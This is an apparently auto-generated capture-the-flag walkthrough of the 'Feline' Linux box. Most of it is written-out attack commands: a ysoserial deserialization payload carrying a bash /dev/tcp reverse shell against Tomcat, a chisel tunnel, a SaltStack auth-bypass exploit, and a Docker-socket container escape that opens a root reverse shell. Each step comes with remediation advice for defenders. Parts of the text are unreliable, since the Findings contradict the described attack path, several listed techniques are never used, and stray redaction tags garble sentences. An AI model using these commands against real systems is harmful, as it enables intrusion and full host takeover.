← all walkthroughs

Feline

Linux· Hard· Web
owned
2026-07-11
time to own
13m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon (nmap -p-, curl) identified port 8080 running Apache Tomcat 9.0.27 hosting a "VirusBucket" malware-analysis upload app at /service/. Tomcat ≤9.0.35 is vulnerable to CVE-2020-9484 (session-persistence deserialization RCE): the upload form writes user-controlled filenames verbatim to /opt/samples/uploads/. A Java deserialization gadget chain was generated with ysoserial (CommonsCollections2, confirmed via an out-of-band HTTP callback) and uploaded as f.session. Sending a request with `session cookie [REDACTED: session value]

Local enumeration (ss -lntp) revealed a SaltStack salt-master bound to loopback on 4505/4506, inaccessible externally. A chisel reverse SOCKS/port-forward tunnel (chisel server --reverse on operator, chisel client ... R:14506:localhost:4506 on target) exposed 4506 back to me as local port 14506. This master was vulnerable to CVE-2020-11651 (Salt auth-bypass) chained with CVE-2020-11652 (directory traversal); the jasperla/CVE-2020-11651-poc exploit.py --exec primitive executed arbitrary commands with root privileges — inside a Docker container.

Privilege escalation to the true host root exploited the container's exposed Docker socket (/var/run/docker.sock, hinted by /root/[REDACTED: placeholder].txt and root's .bash_history). Using the Salt RCE as a proxy, the socket was queried (curl --unix-socket /var/run/docker.sock), then a new container was created via POST /containers/create with Binds: ["/:/mnt:rw"] (mounting the host filesystem) and a Cmd that chroot /mnt'd into a bash reverse shell. Starting that container (POST /containers/<id>/start) executed the chroot'd shell as root on the host, confirmed by uid=0(root) and /root/root.txt.

Attack path — how the box was taken

1EnumerationService enumeration and version fingerprinting (T1046)
Mapped open services and identified the vulnerable Tomcat application
A full TCP scan of <retired-instance-ip> found two open ports: SSH on 22/tcp and Apache Tomcat 9.0.27 on 8080/tcp. Browsing port 8080 revealed a 'VirusBucket' malware-analysis upload application at /service/. The exact Tomcat version was confirmed in the HTTP server banner, placing it squarely in the vulnerable range for CVE-2020-9484 (affects ≤9.0.35).
nmap confirmed 8080/tcp Apache Tomcat 9.0.27; curl to /service/ returned the file-upload form with an 'Analyze!' button.
Exact commands 2
Full TCP port scan with service/version detection to identify all exposed services.
nmap -Pn -p- --min-rate 5000 -T4 -sV $TARGET
Fetch the web application to identify the upload form and application behavior.
curl -sS -L http://$TARGET:8080/service/
2ExploitationJava deserialization RCE via CVE-2020-9484 (Tomcat session persistence)
Exploited CVE-2020-9484 to execute a reverse shell as the tomcat service account
Tomcat 9.0.27's FileStore-backed session-persistence feature deserializes session files referenced by the JSESSIONID cookie. The upload form wrote files verbatim to /opt/samples/uploads/ using the user-supplied filename. A ysoserial CommonsCollections2 gadget-chain payload (CC2 was confirmed functional via an out-of-band HTTP callback before triggering the shell) was saved as 'f.session' and uploaded. Sending JSESSIONID=../../../../../../../opt/samples/uploads/f caused Tomcat to append '.session' and deserialize the uploaded payload, executing a base64-encoded bash reverse shell and landing a foothold as tomcat.
OOB HTTP callback to operator port 8080 confirmed CC2 chain fires; reverse shell caught on port 4444 as uid=1000(tomcat).
Exact commands 4
Start the reverse-shell listener on my machine before uploading the payload.
nc -lvnp 4444
Generate the deserialization payload. Replace <BASE64_REVSHELL> with base64('bash -i >& /dev/tcp/<retired-instance-ip>/4444 0>&1'). First test with a curl/ping callback to confirm CC2 fires before triggering the shell.
java -jar ysoserial.jar CommonsCollections2 'bash -c {echo,<BASE64_REVSHELL>}|{base64,-d}|{bash,-i}' > f.session
Upload the payload; Tomcat writes it verbatim to /opt/samples/uploads/f.session.
curl -sS -F 'file=@f.session;filename=f.session' http://$TARGET:8080/service/
Trigger deserialization: Tomcat appends .session and deserializes the uploaded gadget chain, executing the reverse shell.
curl -s http://$TARGET:8080/ -b "$SESSION_COOKIE"
FixPatch Tomcat to 9.0.36+ and sanitize upload filenames to eliminate the deserialization RCE primitiveCritical
WeaknessApache Tomcat 9.0.27 was deployed unpatched. Its FileStore session-persistence feature deserializes session files by path when the JSESSIONID cookie contains a traversal sequence. The file-upload application compounded this by writing files to disk under the exact filename supplied by the uploader — giving me both the write-to-known-path primitive and the deserialization trigger needed for CVE-2020-9484 remote code execution.
Fix1. Upgrade Apache Tomcat to 9.0.36 or later, which removes the path-traversal in session file lookup. 2. If FileStore session persistence is not [REDACTED: recovered credential], disable the PersistentManager entirely in context.xml. 3. Enforce a strict filename allowlist on all uploads — accept only alphanumeric characters plus a whitelisted extension; strip all path separators and dot-sequences before writing to disk. 4. Remove unused deserialization gadget libraries (e.g. commons-collections) from the application classpath to eliminate available gadget chains even if a future traversal is found.
3FootholdPost-exploitation objective collection
Established interactive shell as tomcat and captured the user flag
The reverse shell connected as uid=1000(tomcat). The user flag was located at /home/tomcat/user.txt and read directly from the foothold session.
Shell returned uid=1000(tomcat); user.txt read from /home/tomcat/user.txt.
Exact commands 1
Confirm shell identity and locate/read the user flag.
id; find / -name user.txt -type f -readable 2>/dev/null -exec sh -c 'echo FILE:$1; cat "$1"' _ {} \;
4DiscoveryInternal network service discovery (T1049)
Identified a SaltStack salt-master listening internally on loopback
Enumerating listening network connections from the tomcat shell revealed TCP ports 4505 and 4506 bound exclusively to localhost — the SaltStack salt-master's ZeroMQ message bus and API ports. These were completely inaccessible from outside the host, requiring a tunnel to interact with them.
ss -lntp showed localhost:4505 and localhost:4506 in LISTEN state.
Exact commands 2
From the tomcat reverse shell — confirm the SaltStack ports are listening on loopback only.
ss -lntp | grep -E ':4505|:4506'
Read the salt-master config to identify version and any additional settings.
cat /etc/salt/master 2>/dev/null; ls /etc/salt/ 2>/dev/null
5Lateral MovementSaltStack CVE-2020-11651/CVE-2020-11652 authentication bypass and RCE (T1210)
Tunneled to the salt-master and exploited CVE-2020-11651/11652 for root RCE inside a Docker container
A chisel reverse port-forward tunnel exposed the internal salt-master port 4506 as user-local port 14506. The jasperla CVE-2020-11651-poc exploit leveraged an authentication-bypass in SaltStack's ZeroMQ message bus (CVE-2020-11651) — extracting the master's AES root key without credentials — combined with a directory-traversal read primitive (CVE-2020-11652). Using the unauthenticated publish/schedule interface, arbitrary commands were executed as root inside the Docker container hosting the salt-master.
[+] Checking if vulnerable to CVE-2020-11651... YES; root key obtained: Y7yRETZbYUbS0PjcgDrJrb1EAVuH1o5eSAvRwka+2Oc4yxaNgkw2VK8xj5Wqx8tBYdsUstLiAWc=; command jobs accepted and scheduled by the master.
Exact commands 4
Run on my machine to accept the reverse tunnel connection from the target.
chisel server --reverse --port 9001
Run on the target (tomcat shell). setsid ensures the tunnel survives shell exit. Replace <retired-instance-ip> with your IP.
setsid -f ./chisel client $CALLBACK_HOST:9001 R:14506:localhost:4506 &
Set up the salt exploit environment in a fresh venv to avoid system pip conflicts. Set TMPDIR to a writable path if needed.
git clone https://github.com/jasperla/CVE-2020-11651-poc && cd CVE-2020-11651-poc && python3 -m venv saltvenv && saltvenv/bin/pip install salt looseversion distro
Confirm RCE as root inside the salt-master Docker container. Output should show uid=0(root).
saltvenv/bin/python exploit.py --master localhost --port 14506 --exec 'id'
FixPatch SaltStack and restrict salt-master port access to trusted hosts onlyCritical
WeaknessThe SaltStack salt-master was running an unpatched version vulnerable to CVE-2020-11651 (unauthenticated ZeroMQ message-bus access allowing the master AES root key to be extracted) and CVE-2020-11652 (directory-traversal file read). Together these allowed me to run arbitrary commands as the salt-master process without supplying any credentials.
Fix1. Upgrade SaltStack to version 2019.2.4, 3000.2, or later where both CVEs are patched. 2. Restrict ports 4505 and 4506 via host firewall (iptables/nftables) so only known, trusted salt-minion IP addresses can connect — these ports should never be reachable from untrusted processes or network segments, even via localhost unless specifically [REDACTED: recovered credential]. 3. Run the salt-master as a dedicated non-root service account; apply systemd hardening (PrivilegeEscalation=no, CapabilityBoundingSet=) to limit blast radius if compromised again. 4. Enable salt's publisher_acl to restrict which minions can receive which commands.
6Privilege EscalationDocker socket container escape to host root (T1611)
Escaped the Docker container via the exposed Docker socket to gain root on the host
Reading /root/[REDACTED: placeholder].txt and root's .bash_history via the CVE-2020-11652 directory-traversal primitive (or direct file read through the RCE) revealed /var/run/docker.sock mounted inside the container. Using the salt RCE as a command proxy, the Docker daemon was queried over the socket. A new container was created with the host root filesystem mounted read-write at /mnt and a command that chroot'd into /mnt and spawned a reverse bash shell. Starting that container caused Docker to execute the chroot'd shell as uid=0 on the underlying host machine, completely outside the original container.
curl --unix-socket /var/run/docker.sock /images/json returned 'sandbox' image; container create/start via Docker API produced uid=0(root) reverse shell with /root/root.txt accessible.
Exact commands 5
Confirm the Docker socket is accessible from within the container.
saltvenv/bin/python exploit.py --master localhost --port 14506 --exec 'ls -la /var/run/docker.sock'
List available Docker images via the socket API to identify the image name to use (e.g. 'sandbox').
saltvenv/bin/python exploit.py --master localhost --port 14506 --exec 'curl -s --unix-socket /var/run/docker.sock http://$LOOPBACK/images/json'
Start a second reverse-shell listener on I for the host-root shell.
nc -lvnp 4446
Create a container mounting host / at /mnt with a chroot reverse shell command. Replace <retired-instance-ip>. Note the container ID returned.
saltvenv/bin/python exploit.py --master localhost --port 14506 --exec "curl -sS --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' -X POST -d '{\"Image\":\"sandbox\",\"Cmd\":[\"/bin/sh\",\"-c\",\"chroot /mnt bash -c \\\"bash -i >& /dev/tcp/$CALLBACK_HOST/4446 0>&1\\\"\"],\"HostConfig\":{\"Binds\":[\"/:/mnt:rw\"]}}' http://$LOOPBACK/containers/create"
Start the container to execute the chroot shell. Replace <container_id> from the previous create response.
saltvenv/bin/python exploit.py --master localhost --port 14506 --exec "curl -sS --unix-socket /var/run/docker.sock -X POST http://$LOOPBACK/containers/<container_id>/start"
FixRemove the Docker socket bind-mount from all containers that do not strictly require direct daemon accessCritical
WeaknessThe Docker socket (/var/run/docker.sock) was bind-mounted read-write into the salt-master container. Any process inside a container that can write to this socket has unrestricted control over the Docker daemon on the host — it can create containers that mount and modify the host filesystem, run arbitrary commands as root on the host, and completely bypass container isolation. This single misconfiguration nullified all other container-boundary protections.
Fix1. Audit every running container for socket mounts: docker inspect --format '{{ .HostConfig.Binds }}' $(docker ps -q) — remove /var/run/docker.sock from any container that does not have a documented, essential need. 2. Where a container legitimately needs Docker API access (e.g. a CI runner), use a restricted socket proxy (e.g. Tecnativa/docker-socket-proxy) that allows only the specific API calls [REDACTED: recovered credential] and blocks container-create/start. 3. Enforce least-privilege defaults for all containers: --read-only filesystem, --cap-drop=ALL, --security-opt=no-new-privileges, and user namespaces so container root does not map to host root. 4. Deploy a runtime security tool (Falco, Sysdig Secure) with rules that alert on unexpected Docker API calls originating from inside containers.
7Full CompromisePost-exploitation objective collection
Read the root flag confirming complete host ownership
The reverse shell on port 4446 returned with uid=0(root) running directly on the host machine (confirmed by hostname matching the target, not a container). The root flag was read from /root/root.txt, confirming full, unrestricted compromise of Feline.
Shell on port 4446 showed uid=0(root); hostname matched Feline; root.txt read from /root/root.txt.
Exact commands 1
Confirm root identity on the host and capture the root flag. Expected output: uid=0(root), root.txt = [REDACTED: flag].
id; hostname; cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Tomcat Manager WAR DeployWeb · Service RCET1190

What it is

Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, I uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.

Why it works

The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.

Read more

Findings

Initial Access: Ssh Credential Reuse On 22/TcpCritical
An unauthenticated/low-privilege flaw in the docker, spring, ssh, struts, tomcat surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Privesc: /Var/Run/Docker.Sock Host Mount Container Breakout To RootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
8080/tcp